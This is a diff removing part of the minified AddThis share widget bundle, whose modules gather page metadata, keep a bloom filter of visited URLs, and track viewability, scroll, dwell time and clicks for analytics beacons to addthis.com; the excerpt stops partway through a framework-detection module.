-                        (i.addthis_url || void 0 !== addthis_share.imp_url || (addthis_share.imp_url = 1),
-                            (addthis_share.url = (i.addthis_url || e || t.url || '').split('#{').shift())),
-                        addthis_share.title || (addthis_share.title = (i.addthis_title || t.title || document.title).split('#{').shift()),
-                        !addthis_share.description && t.description && (addthis_share.description = t.description),
-                        (o = !0);
-                }
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            var a = n(588);
-            e.exports = () => {
-                var e;
-                var t;
-                var n;
-                var i;
-                var o;
-                var r;
-                var s = a();
-                var d = {};
-                for (r = 0; r < s.length; r++)
-                    (e = s[r] || {}),
-                    (t = e.getAttribute ? e.getAttribute('property') : ''),
-                    (n = (t || e.name || '').toLowerCase()),
-                    (o = e.content),
-                    0 === n.indexOf('og:') && ((i = n.split(':').pop()), (d[i] = o));
-                return d;
-            };
-        },
-        (e, t) => {
-            'use strict';
-            var n;
-            e.exports = () => {
-                if (!n) {
-                    var e = document;
-                    (n = e.getElementsByTagName ? e.getElementsByTagName('META') : []), (_ate.meta = n);
-                }
-                return n;
-            };
-        },
-        (e, t, n) => {
-            function a(e) {
-                var t = o((e.adurl || '') + (e.adev || ''));
-                var n = 0;
-                if (!c[t]) {
-                    if (((c[t] = 1), e.adurl && 'string' == typeof e.adurl && ((_ate.pixu = e.adurl), (n = 1)), e.adev && 'string' == typeof e.adev)) {
-                        var a = e.adev;
-                        try {
-                            a = u(a);
-                        } catch (e) {}
-                        (a = a.split(';')), (n = 1);
-                        for (var i = 0; i < a.length; i++) {
-                            for (var r = a[i].split(','), s = {}, l = 0; l < r.length; l++) {
-                                var f = r[l].split('=');
-                                s[f[0]] = f[1];
-                            }
-                            d.addthis && d.addthis.ad.event(s);
-                        }
-                    }
-                    return n;
-                }
-            }
-            function i(e, t) {
-                for (var n = s.gn('script'), a = 0; a < n.length; a++) {
-                    var i = n[a].src || '';
-                    i && (i = o(i)), (n[a].src || '').indexOf(t || 'addthis_widget.js') > -1 && !c[i] && ((c[i] = 1), e(r(n[a].src)));
-                }
-            }
-            var o = n(366);
-            var r = n(33);
-            e.exports = {
-                processAdEvents: a,
-                processAllScripts: i
-            };
-            var s = document;
-            var d = window;
-            var u = d.decodeURIComponent;
-            var c = {};
-        },
-        (e, t) => {
-            e.exports = (e, t, n) => (
-                (e = e || {}),
-                'at_tags' in e && (e.at_tag = e.at_tags),
-                'at_tag' in e &&
-                t.user.ready(() => {
-                    n.cookie.tag.add(e.at_tag);
-                }),
-                e
-            );
-        },
-        (e, t, n) => {
-            function a(e, t, n, a) {
-                var d;
-                'number' != typeof e && ((d = e), (e = 32 * d.length)), (this.m = e), (this.k = t);
-                var u = Math.ceil(e / 32);
-                var c = -1;
-                if (s) {
-                    var l = 1 << Math.ceil(Math.log(Math.ceil(Math.log(e) / Math.LN2 / 8)) / Math.LN2);
-                    var f = 1 === l ? Uint8Array : 2 === l ? Uint16Array : Uint32Array;
-                    var p = new ArrayBuffer(l * t);
-                    var h = (this.buckets = new Int32Array(u));
-                    if (d)
-                        for (; ++c < u;) h[c] = d[c];
-                    else if (a)
-                        for (c = -1; ++c < u;) h[c] = a[c];
-                    if (((this._locations = new f(p)), n))
-                        for (c = 0; c < n.length; c++) this._locations[c] = n[c];
-                } else {
-                    var h = (this.buckets = a || []);
-                    if (d)
-                        for (; ++c < u;) h[c] = d[c];
-                    else
-                        for (; ++c < u;) h[c] = 0;
-                    this._locations = n || [];
-                }
-                (this.locations = function(e) {
-                    for (var t = this.k, n = this.m, a = this._locations, i = r(e), s = o(i), d = -1, u = i % n; ++d < t;)
-                        (a[d] = u < 0 ? u + n : u), (u = (u + s) % n);
-                    return a;
-                }),
-                (this.add = function(e) {
-                    for (var t = this.locations(e + ''), n = -1, a = this.k, i = this.buckets; ++n < a;) i[Math.floor(t[n] / 32)] |= 1 << t[n] % 32;
-                }),
-                (this.test = function(e) {
-                    for (var t, n = this.locations(e + ''), a = -1, i = this.k, o = this.buckets; ++a < i;)
-                        if (((t = n[a]), 0 === (o[Math.floor(t / 32)] & (1 << t % 32)))) return !1;
-                    return !0;
-                }),
-                (this.size = function() {
-                    for (var e = this.buckets, t = 0, n = 0, a = e.length; n < a; ++n) t += i(e[n]);
-                    return (-this.m * Math.log(1 - t / this.m)) / this.k;
-                });
-            }
-            function i(e) {
-                return (e -= (e >> 1) & 1431655765), (e = (858993459 & e) + ((e >> 2) & 858993459)), (16843009 * ((e + (e >> 4)) & 252645135)) >> 24;
-            }
-            function o(e) {
-                return (
-                    (e += (e << 1) + (e << 4) + (e << 7) + (e << 8) + (e << 24)),
-                    (e += e << 13),
-                    (e ^= e >> 7),
-                    (e += e << 3),
-                    (e ^= e >> 17),
-                    (e += e << 5),
-                    4294967295 & e
-                );
-            }
-            var r = n(549);
-            e.exports = a;
-            var s = 'undefined' != typeof ArrayBuffer;
-        },
-        (e, t, n) => {
-            function a(e) {
-                var t = _atc._date || new Date();
-                var n = t.getDate();
-                var a = t.getMonth() + 1;
-                return a < 10 && (a = '0' + a), n < 10 && (n = '0' + n), e + '.' + (a + '' + n);
-            }
-            function i(e, t, n, a, i) {
-                function s(e) {
-                    if (_ate.uls) {
-                        var t = JSON.parse(r.get(e) || '{}');
-                        var n = parseInt(t.m) || d;
-                        var a = parseInt(t.k) || u;
-                        var i = t.l;
-                        var s = t.b;
-                        return new o(n, a, i, s);
-                    }
-                    return null;
-                }
-                var c;
-                return (
-                    (e = e || 'pbf'),
-                    (c = t && n && a && i ? new o(t, n, a, i) : t && n ? new o(t, n) : _ate.uls ? s(e) : new o(d, u)),
-                    (c.name = e),
-                    (c.save = () => {
-                        if (_ate.uls) {
-                            var e = {
-                                m: c.m,
-                                k: c.k,
-                                l: c._locations,
-                                b: c.buckets
-                            };
-                            r.add(c.name, JSON.stringify(e));
-                        }
-                    }),
-                    (c.remove = () => {
-                        r.removeByPrefix(c.name);
-                    }),
-                    c
-                );
-            }
-            var o = n(591);
-            var r = n(558);
-            var s = 3;
-            var d = 600;
-            var u = 2;
-            e.exports = function e(t, n, o) {
-                function d(e) {
-                    return (
-                        (e = (e || '').split('.').pop()),
-                        4 !== e.length ? {} : {
-                            m: parseInt(e.substr(0, 2)),
-                            d: parseInt(e.substr(2, 4))
-                        }
-                    );
-                }
-                var u;
-                var c = {};
-                return t ?
-                    this instanceof e ?
-                    ((this.name = t),
-                        (this.get = (e) => (_ate.ich ? null : (c[e] = i(e)))),
-                        (this.isEmpty = function() {
-                            return !r.exists(this.name);
-                        }),
-                        (this.add = function(e) {
-                            return c[e] || (this.get(e), this.prune()), c[e];
-                        }),
-                        (this.contains = function(e) {
-                            return !!r.get(this.name + '.' + e);
-                        }),
-                        (this.prune = function(e) {
-                            r.remove(this.name);
-                            var n = this.getCurrentBlooms();
-                            var a = d(this.generateName());
-                            var i = a.m;
-                            var o = a.d;
-                            e = Math.min(e || s, 31);
-                            var u = Object.keys(n)
-                                .map((e) => {
-                                    var t = d(e);
-                                    return (t.name = e), t;
-                                })
-                                .filter((n) => {
-                                    var a = n.m;
-                                    var s = n.d;
-                                    return (
-                                        !!a &&
-                                        (!(a > i || (a === i && s < o - e) || a < i - 1 || (a === i - 1 && (o > e || s < 31 - e))) || (r.remove(t), !1))
-                                    );
-                                })
-                                .map((e) => e.name);
-                            for (u.sort((e, t) => (parseInt(e) < parseInt(t) ? 1 : -1)); u.length > 3;) r.remove(u.pop());
-                        }),
-                        (this.testAll = function(e) {
-                            var t;
-                            if (!u) {
-                                var n = this.getCurrentBlooms();
-                                for (t in n) n.hasOwnProperty(t) && !c[t] && (c[t] = this.get(t));
-                                u = 1;
-                            }
-                            for (t in c)
-                                if (c.hasOwnProperty(t) && c[t] && c[t].test(e)) return !0;
-                            return !1;
-                        }),
-                        (this.generateName = function() {
-                            return (o || a).call(this, this.name);
-                        }),
-                        void(this.getCurrentBlooms = function() {
-                            return r.getAll(this.name);
-                        })) :
-                    new e(t, n, o) :
-                    null;
-            };
-        },
-        (e, t, n) => {
-            var a = n(32);
-            e.exports = () => !(!window.at_sub && !a('addthis_widget.js').library);
-        },
-        (e, t, n) => {
-            function a(e) {
-                var t = (e || document.location.href).split('#').shift();
-                return !!r.testAll(t) || r.testAll(t + '/');
-            }
-            function i(e) {
-                if (!s() && window.JSON) {
-                    var t = (e || document.location.href).split('#').shift();
-                    var n = r.generateName();
-                    r.contains(n) || r.add(n),
-                        o || (o = r.get(n)),
-                        !o ||
-                        u ||
-                        o.test(t) ||
-                        ((u = 1),
-                            setTimeout(() => {
-                                o.add(t), o.save(n);
-                            }, 5e3));
-                }
-            }
-            var o;
-            var r = n(592);
-            var s = n(593);
-            var d = 'hist';
-            var u = 0;
-            var r = new r(d, 3);
-            e.exports = {
-                logURL: i,
-                seenBefore: a
-            };
-        },
-        (e, t, n) => {
-            function a(e, t) {
-                void 0 === e ||
-                    a.isWatching(e) ||
-                    ((t = t || {}),
-                        (t.minPercentVisible = void 0 !== t.minPercentVisible ? t.minPercentVisible : 0.5),
-                        (t.minDurationVisible = void 0 !== t.minDurationVisible ? t.minDurationVisible : 1e3),
-                        (t.sampleRate = void 0 !== t.sampleRate ? t.sampleRate : 1),
-                        (t.onView = void 0 !== t.onView ? t.onView : () => {}),
-                        (this.element = e),
-                        (this.sampleTimeout = 1e3 / t.sampleRate),
-                        (this.minPercentVisible = t.minPercentVisible),
-                        (this.minDurationVisible = t.minDurationVisible),
-                        (this.onView = t.onView),
-                        (this.interval = null),
-                        (this.firstSeen = null),
-                        (this.wasViewed = !1),
-                        a.watchList.push(e),
-                        a.watchers.push(this));
-            }
-            var i = n(405);
-            var o = n(584);
-            (e.exports = a),
-            (a.prototype.check = function() {
-                var e = this;
-                var t = o(this.element, {
-                    cacheDuration: this.sampleTimeout
-                });
-                this.interval ||
-                    this.wasViewed ||
-                    (t > this.minPercentVisible &&
-                        ((this.firstSeen = new Date()),
-                            (this.interval = setInterval(function() {
-                                var t = new Date();
-                                var n = o(e.element, {
-                                    cacheDuration: this.sampleTimeout
-                                });
-                                n > e.minPercentVisible ?
-                                    t.getTime() - e.firstSeen.getTime() > e.minDurationVisible &&
-                                    (clearInterval(e.interval),
-                                        (e.interval = null),
-                                        (e.wasViewed = !0),
-                                        e.onView(),
-                                        a.watchList.splice(a.watchList.indexOf(this.element), 1),
-                                        a.watchers.splice(a.watchers.indexOf(this), 1)) :
-                                    (clearInterval(e.interval), (e.interval = null), (e.firstSeen = null));
-                            }, this.sampleTimeout))));
-            }),
-            (a.isWatching = (e) => {
-                for (var t = a.watchList.length - 1; t >= 0; t--)
-                    if (a.watchList[t] === e) return !0;
-                return !1;
-            }),
-            (a.handler = () => {
-                setTimeout(() => {
-                    for (var e = a.watchers.length; e--;) a.watchers[e].check();
-                });
-            }),
-            (a.resizeHandler = () => {
-                clearTimeout(a.resizeHandlerTimeout), (a.resizeHandlerTimeout = setTimeout(a.handler, 1e3));
-            }),
-            (a.messageHandler = (e) => {
-                var t = e && e.data && e.data.indexOf instanceof Function && 0 === e.data.indexOf('_atafiv=');
-                if (t)
-                    for (
-                        var n, o = e.data.substring('_atafiv='.length), r = o.split('#'), s = r[0], d = decodeURIComponent(r[1] || ''), u = 0; u < document.getElementsByTagName('iframe').length; u++
-                    )
-                        if (((n = document.getElementsByTagName('iframe')[u]), n.src.replace(/^https?:/, '') === d.replace(/^https?:/, ''))) {
-                            new a(n, {
-                                    minPercentVisible: 0.5,
-                                    minDurationVisible: 1e3,
-                                    onView() {
-                                        var e = document.createElement('img');
-                                        (e.src = '//cf.addthis.com/red/p.png?gen=2000&rb=0&pco=clk-100&ev=view_tracker&pxid=4031&dspid=6' + s),
-                                        i(e),
-                                            document.body.appendChild(e);
-                                    }
-                                }),
-                                a.handler();
-                            break;
-                        }
-            }),
-            (a.resizeHandlerTimeout = null),
-            (a.watchList = []),
-            (a.watchers = []);
-        },
-        (e, t, n) => {
-            e.exports = {
-                source: _atr + 'static/' + n(597)
-            };
-        },
-        (e, t) => {
-            e.exports = 'sh.f48a1a04fe8dbf021b4cda1d.html';
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(465);
-            var o = a(i);
-            var r = n(413);
-            var s = a(r);
-            var d = n(442);
-            var u = a(d);
-            var c = n(23);
-            var l = n(599);
-            var f = a(l);
-            var p = n(64);
-            var h = a(p);
-            var m = n(31);
-            var g = a(m);
-            var _ = n(534);
-            var v = a(_);
-            var b = n(30);
-            var w = a(b);
-            var x = n(602);
-            var y = a(x);
-            var k = n(83);
-            var C = n(606);
-            var O = n(607);
-            var M = n(608);
-            var A = [n(609), n(611), n(614), n(615), n(616), n(617), n(618), n(619), n(620)];
-            var E = !1;
-            var S = {};
-            var I = [];
-            var T = (e) => {
-                try {
-                    (0, o.default)(S, e);
-                } catch (e) {}
-            };
-            var j = () => {
-                if (!window.addthis.firedExitEvent && !(0, O.isBlacklisted)()) {
-                    window.addthis.firedExitEvent = !0;
-                    var e;
-                    e = window.addthis_config.wix ? (0, f.default)(window.addthis_config.wix.url) : (0, f.default)(h.default.du);
-                    var t = v.default.getPCOs();
-                    I.forEach((e) => e(S)),
-                        A.forEach((e) => T(e.getParams())),
-                        t.length &&
-                        T({
-                            al: t.join(',')
-                        }),
-                        T((0, C.getCountRequestsInfo)()),
-                        T((0, M.getAPIsUsed)()),
-                        T({
-                            ba: (y.default.getRequestCount() > 0 && 1) | (y.default.getResponseCount() > 0 && 2) | (w.default.isPayingCustomer() && 4),
-                            sid: _ate.track.ssid(),
-                            rev: window._atc.rev,
-                            pub: (0, g.default)(),
-                            dp: e.domain,
-                            fp: e.path,
-                            pfm: u.default.polyfillMethodID,
-                            icns: (0, k.getIncludedIcons)()
-                        }),
-                        (0, u.default)('https://m.addthis.com/live/red_lojson/100eng.json?' + (0, s.default)(S), '');
-                }
-            };
-            var N = (e) => {
-                I.push(e);
-            };
-            var D = () => {
-                E || ((0, c.listen)(window, 'unload', j), (0, c.listen)(window, 'beforeunload', j), A.forEach((e) => e.start()), (E = !0));
-            };
-            (t.default = {
-                setup: D,
-                update: T,
-                addListener: N
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            var a = n(600);
-            var i = n(410);
-            e.exports = (e) => {
-                var t = a(
-                    i(e, {
-                        defrag: 1
-                    })
-                );
-                return {
-                    domain: t[0],
-                    path: t.slice(1).join('/').split('#').shift()
-                };
-            };
-        },
-        (e, t, n) => {
-            function a(e) {
-                if (!e || !e.pathname) return [];
-                var t = e.pathname.split('/');
-                var n = t.filter((e) => !!e);
-                return 0 === n.length ? [] : (t.shift(), t);
-            }
-            var i = n(601);
-            e.exports = (e) => {
-                var t = i(e);
-                if (!e || !t || !t.host) return [];
-                var n = a(t);
-                return (
-                    n.unshift(t.host),
-                    (t.search || t.hash) && (1 === n.length ? n.push('' + t.search + t.hash) : (n[n.length - 1] = n[n.length - 1] + ('' + t.search + t.hash))),
-                    n
-                );
-            };
-        },
-        (e, t) => {
-            function n(e) {
-                var t = window.document.createElement('a');
-                return (t.href = e), t;
-            }
-            e.exports = n;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(603);
-            var o = n(354);
-            var r = n(439);
-            var s = a(r);
-            var d = n(604);
-            var u = a(d);
-            var c = n(605);
-            var l = a(c);
-            (t.default = new s.default('https://m.addthis.com/live/red_lojson/300lo.json')
-                .always('si')
-                .optional('bkl', (0, u.default)(0, 1))
-                .required('bl', l.default)
-                .optional('pdt', l.default)
-                .optional('sid')
-                .optional('pub')
-                .optional('rev')
-                .optional('ln')
-                .always('pc')
-                .optional('cb', (0, u.default)(0, 1))
-                .optional('adu6')
-                .optional('uud', (0, u.default)(1))
-                .optional('ab')
-                .always('dp')
-                .optional('dr')
-                .optional('fp')
-                .required('fr', (e) => 'string' == typeof e)
-                .optional('pro', (0, u.default)(1))
-                .optional('fcu')
-                .always('of', (0, u.default)(0, 1, 2, 3, 4))
-                .optional('nt')
-                .optional('tr')
-                .optional('sr')
-                .optional('pd', (0, u.default)(0, 1))
-                .always('irt', (0, u.default)(0, 1))
-                .optional('vcl', (0, u.default)(0, 1, 2, 3))
-                .optional('md', (0, u.default)(0, 1, 2))
-                .optional('ct', (0, u.default)(0, 1))
-                .optional('tct', (0, u.default)(0, 1))
-                .optional('abt', (0, u.default)(0, 1))
-                .optional('cdn', (0, u.default)(0, 1, 2, 3))
-                .optional('lnlc')
-                .optional('at3no', (0, u.default)(1))
-                .optional('pi', l.default)
-                .optional('vr', l.default)
-                .always('rb', (e) => {
-                    var t = o.DIRECT | o.SEARCH | o.ON_DOMAIN | o.OFF_DOMAIN;
-                    return e | (t === t);
-                })
-                .always('gen', (0, u.default)(i.VIEW, i.POP, i.SHARE, i.FOLLOW, i.COMMENT, i.CUSTOM))
-                .optional('chr')
-                .optional('mk', (e) => {
-                    try {
-                        return e.split(','), !0;
-                    } catch (e) {
-                        return !1;
-                    }
-                })
-                .optional('ref')
-                .required('colc', l.default)
-                .optional('wpv')
-                .optional('wpbv')
-                .optional('addthis_plugin_info')
-                .required('jsl', l.default)
-                .optional('uvs', /^[0-9a-f]{19}$/)
-                .optional('gdpr_consent')
-                .optional('gdpr', (0, u.default)(0, 1))
-                .optionalWithUnencodedValue('cp')
-                .required('skipb', (0, u.default)(0, 1))
-                .force(!0)
-                .jsonp('callback')),
-            (e.exports = t.default);
-        },
-        (e, t) => {
-            e.exports = {
-                NOOP: -1,
-                CLICK: 50,
-                VIEW: 100,
-                POP: 200,
-                COPY: 250,
-                SHARE: 300,
-                FOLLOW: 350,
-                COMMENT: 375,
-                CUSTOM: 2e3,
-                ENGAGEMENT: 2100
-            };
-        },
-        (e, t) => {
-            'use strict';
-            function n(...args) {
-                var e = args;
-                return (t) => {
-                    for (var n = 0; n < e.length; n++)
-                        if (e[n] === t) return !0;
-                    return !1;
-                };
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = n),
-                (e.exports = t.default);
-        },
-        (e, t) => {
-            'use strict';
-            function n(e) {
-                return e === parseInt(e);
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = n),
-                (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a() {
-                o++;
-            }
-            function i() {
-                return {
-                    scr: o,
-                    scv: r ? 1 : 0
-                };
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.increment = a),
-                (t.getCountRequestsInfo = i);
-            var o = 0;
-            var r = (t.combCounts = 0 > Math.random());
-            'COMBINE_COUNTS' in window && (t.combCounts = r = window.COMBINE_COUNTS);
-        },
-        (e, t, n) => {
-            'use strict';
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var a = void 0;
-            (t.isBlacklisted = () => a),
-            (t.setBlacklisted = (e) => {
-                a = 'DOMAIN_BLACKLISTED' in window ? window.DOMAIN_BLACKLISTED : !!e;
-            });
-        },
-        (e, t) => {
-            'use strict';
-            function n() {
-                o = !0;
-            }
-            function a() {
-                r = !0;
-            }
-            function i() {
-                return {
-                    apiu: 0 | (o === !0 && 1) | (r === !0 && 2)
-                };
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.markDashboard = n),
-                (t.markSmartLayers = a),
-                (t.getAPIsUsed = i);
-            var o = void 0;
-            var r = void 0;
-        },
-        (e, t, n) => {
-            'use strict';
-            var a;
-            var i;
-            var o;
-            var r = n(610);
-            var s = n(497);
-            var d = !1;
-            var u = (e) => {
-                var t = document.documentElement,
-                    n = e.data.y,
-                    o = n + t.clientHeight;
-                (i = void 0 !== i ? Math.max(i, o) : o), (a = void 0 !== a ? Math.min(a, n) : n);
-            };
-            e.exports = {
-                start() {
-                    d || (n(536).setup(), addthis.addEventListener('addthis.events.scroll', u), (o = s()), (d = !0));
-                },
-                getParams() {
-                    return d ? {
-                        sh: i ? i - a : 0,
-                        ph: r() || 0,
-                        ivh: o || 0
-                    } : {};
-                }
-            };
-        },
-        (e, t) => {
-            'use strict';
-            e.exports = () => {
-                var e = document.body;
-                var t = document.documentElement;
-                var n = 0;
-                return (
-                    e && (n = Math.max(n, e.scrollHeight, e.offsetHeight, e.clientHeight)),
-                    t && (n = Math.max(n, t.scrollHeight, t.offsetHeight, t.clientHeight)),
-                    window.innerHeight && (n = Math.max(n, window.innerHeight)),
-                    n
-                );
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            var a = n(612);
-            var i = n(371);
-            var o = n(613).getPreDwellTime;
-            var r = !1;
-            var s = i();
-            var d = 0;
-            var u = () => {
-                var e = i(),
-                    t = a();
-                (t !== !0 && void 0 !== t) || (d += e - s), (s = e);
-            };
-            e.exports = {
-                start() {
-                    r || (setInterval(u, 1e3), (r = !0));
-                },
-                getParams() {
-                    if (!r) return {};
-                    var e = {
-                        dt: d
-                    };
-                    var t = o();
-                    return void 0 !== t && (e.pdt = t), e;
-                }
-            };
-        },
-        (e, t) => {
-            'use strict';
-            e.exports = () => ('visibilityState' in document ? 'visible' === document.visibilityState : 'hasFocus' in document ? document.hasFocus() : void 0);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e) {
-                for (var t = e.name, n = e.startTime, a = e.duration, i = null, o = 0; o < y.length; o++)
-                    if (t.search(y[o].regex) > -1) {
-                        i = y[o].name;
-                        break;
-                    }
-                return {
-                    name: i,
-                    startTime: n,
-                    duration: a
-                };
-            }
-            function o(e) {
-                var t = e.name;
-                return Boolean(t);
-            }
-            function r(e) {
-                var t = !1;
-                if (e && e.name) {
-                    var n = (0, v.default)(e.name);
-                    n && n.domain && ((n = n.domain), (t = n.indexOf('.addthis.com') > -1));
-                }
-                return t;
-            }
-            function s(e) {
-                return e.name.search(w);
-            }
-            function d(e) {
-                return e.name.search(x);
-            }
-            function u(e) {
-                var t = e.startTime;
-                var n = e.duration;
-                var a = e.name;
-                return {
-                    startTime: t,
-                    duration: n,
-                    name: a
-                };
-            }
-            function c(e, t) {
-                return e.startTime - t.startTime;
-            }
-            function l(e) {
-                return e.name.match(k);
-            }
-            function f() {
-                return (0, b.basicSupport)() ? performance.getEntriesByType('resource').map(u).filter(r).map(i).filter(o).sort(c) : [];
-            }
-            function p() {
-                return (0, b.basicSupport)() ?
-                    performance
-                    .getEntriesByType('mark')
-                    .map(u)
-                    .filter(l)
-                    .sort(c)
-                    .map((e) => {
-                        var t = e.name;
-                        var n = e.startTime;
-                        return {
-                            name: k.exec(t)[1],
-                            startTime: n
-                        };
-                    }) : [];
-            }
-            function h() {
-                return (0, b.basicSupport)() ? f().filter(s).shift() : null;
-            }
-            function m() {
-                var e = h();
-                return e ? parseInt(e.startTime) : void 0;
-            }
-            function g() {
-                return (0, b.basicSupport)() ? f().filter(d).pop() : null;
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.getAddThisResources = f),
-                (t.getAddThisMarkers = p),
-                (t.getFirstAddThisWidget = h),
-                (t.getPreDwellTime = m),
-                (t.getFirstShFrame = g);
-            var _ = n(599);
-            var v = a(_);
-            var b = n(563);
-            var w = /addthis_widget\.js/;
-            var x = /sh\.[0-9a-f]+\.html/;
-            var y = [{
-                    regex: w,
-                    name: 'widget'
-                },
-                {
-                    regex: x,
-                    name: 'sh'
-                },
-                {
-                    regex: /boost/,
-                    name: 'boost'
-                },
-                {
-                    regex: /red_lojson\/300lo\.json/,
-                    name: 'lojson'
-                },
-                {
-                    regex: /eu-test\.addthis\.com/,
-                    name: 'eutest'
-                }
-            ];
-            var k = /^addthis\.(\S+)$/;
-        },
-        (e, t, n) => {
-            'use strict';
-            var a;
-            var i;
-            var o;
-            var r = n(23).listen;
-            var s = !1;
-            var d = (e) => {
-                var t = e.src.split('://').pop(),
-                    n = a[t];
-                void 0 === n ? (a[t] = 1) : a[t]++;
-            };
-            var u = () =>
-                Object.keys(a)
-                .map((e) => e + '|' + a[e])
-                .join(',');
-            var c = () => {
-                var e = document.activeElement;
-                if (e) {
-                    var t = 'IFRAME' === e.tagName,
-                        n = e !== o;
-                    t && n && d(e), (o = e);
-                }
-            };
-            var l = () => {
-                i++, (o = document.activeElement);
-            };
-            e.exports = {
-                start() {
-                    s || ((a = {}), (i = 0), (o = document.activeElement), setInterval(c, 100), r(window, 'blur', c), r(window, 'click', l), (s = !0));
-                },
-                getParams() {
-                    return s ? {
-                        ict: u(),
-                        pct: i
-                    } : {};
-                }
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(613);
-            var o = n(45);
-            var r = a(o);
-            (t.default = {
-                start() {
-                    (this.lojsonSet = !1),
-                    (this.lojsonStartTime = 0),
-                    (this.lojsonDuration = 0),
-                    _ate.ed.addEventListener('addthis-internal.lojson.req', this.onLojsonRequested.bind(this));
-                },
-                getParams() {
-                    var e = this.getResourcePerf();
-                    var t = this.getRenderPerf();
-                    var n = {};
-                    return e && (n.perf = e), t && (n.rndr = t), n;
-                },
-                onLojsonRequested(e) {
-                    this.lojsonSet || ((this.lojsonSet = !0), (this.lojsonStartTime = e.data.startTime), (this.lojsonDuration = e.data.duration));
-                },
-                getResourcePerf() {
-                    var e = (0, i.getFirstShFrame)();
-                    var t = e ? e.startTime + e.duration : null;
-                    var n = (0, i.getAddThisResources)();
-                    return (
-                        null !== t &&
-                        this.lojsonSet &&
-                        n.push({
-                            startTime: t + this.lojsonStartTime,
-                            duration: this.lojsonDuration,
-                            name: 'lojson'
-                        }),
-                        (0, r.default)(n, (e) => [e.name, e.startTime.toFixed(0), e.duration.toFixed(0)].join('|')).join(',')
-                    );
-                },
-                getRenderPerf() {
-                    return (0, r.default)((0, i.getAddThisMarkers)(), (e) => [e.name, e.startTime.toFixed(0)].join('|')).join(',');
-                }
-            }),
-            (e.exports = t.default);
-        },
-        (e, t) => {
-            'use strict';
-            function n(e) {
-                var t = e.data || {};
-                var n = t.svc;
-                var a = t.pco;
-                var o = t.cmo;
-                var r = t.crs;
-                var s = t.cso;
-                (i = {}), n && (i.sh = n), o && (i.cm = o), s && (i.cs = 1), r && (i.cr = 1), a && (i.spc = a);
-            }
-            var a = !1;
-            var i = null;
-            e.exports = {
-                start() {
-                    a || (_ate.ed.addEventListener('addthis-internal.compact', n), (a = !0));
-                },
-                getParams() {
-                    return a ? {
-                        cmenu: JSON.stringify(i)
-                    } : {};
-                }
-            };
-        },
-        (e, t) => {
-            'use strict';
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var n = !1;
-            var a = 0;
-            var i = 0;
-            var o = 0;
-            var r = 0;
-            (t.default = {
-                start() {
-                    n ||
-                        (_ate.ed.on('addthis-internal.pixelator.pixel-drop', (e) => {
-                                var t = e.iframe;
-                                t ? i++ : a++;
-                            }),
-                            _ate.ed.on('addthis-internal.pixelator.pixel-load', (e) => {
-                                var t = e.iframe;
-                                t ? r++ : o++;
-                            }),
-                            (n = !0));
-                },
-                getParams() {
-                    return n ? {
-                        ppd: a,
-                        ppl: o
-                    } : {};
-                }
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var a = n(45);
-            var i = !1;
-            var o = {};
-            (t.default = {
-                start() {
-                    i ||
-                        (_ate.ed.on('addthis-internal.fbsharecount', (e) => {
-                                !e.data.share && e.data.error ?
-                                    o[e.data.error.code] ?
-                                    o[e.data.error.code]++
-                                    :
-                                    (o[e.data.error.code] = 1) :
-                                    o[-1] ?
-                                    o[-1]++
-                                    :
-                                    (o[-1] = 1);
-                            }),
-                            (i = !0));
-                },
-                getParams() {
-                    if (!i) return {};
-                    var e = Object.keys(o);
-                    var t = a(e, (e) => e + '|' + o[e]);
-                    return {
-                        fbe: t.join(',') || ''
-                    };
-                }
-            }),
-            (e.exports = t.default);
-        },
-        (e, t) => {
-            'use strict';
-            function n(e) {
-                var t = !(!e || !e.data) && 'expanded' === e.data.pane;
-                t && r.views++;
-            }
-            function a() {
-                r.shares++;
-            }
-            function i() {
-                r.addThisLinkClicks++;
-            }
-            var o = !1;
-            var r = {};
-            e.exports = {
-                start() {
-                    o ||
-                        ((r = {
-                                views: 0,
-                                shares: 0,
-                                addThisLinkClicks: 0
-                            }),
-                            _ate.ed.addEventListener('addthis.menu.open', n),
-                            _ate.ed.addEventListener('addthis.expanded.monitor.share', a),
-                            _ate.ed.addEventListener('addthis.expanded.monitor.at-link-click', i),
-                            (o = !0));
-                },
-                getParams() {
-                    return o ? {
-                        xmv: r.views,
-                        xms: r.shares,
-                        xmlc: r.addThisLinkClicks
-                    } : {};
-                }
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return null !== document.querySelector(e);
-            }
-            function i(e) {
-                return 'undefined' != typeof e;
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var o = n(563);
-            var r = !1;
-            var s = {
-                angular() {
-                    return i(window.angular) || a('[ng-app]');
-                },
-                backbone() {
-                    return i(window.Backbone);
-                },
-                ember() {
-                    return i(window.Ember);
-                },
-                react() {
-                    return i(window.React) || a('[data-reactid]');
-                },
-                mithril: function e() {
-                    var e = window.m;
-                    return i(e) && i(e.version);
-                },
-                mootools: function e() {
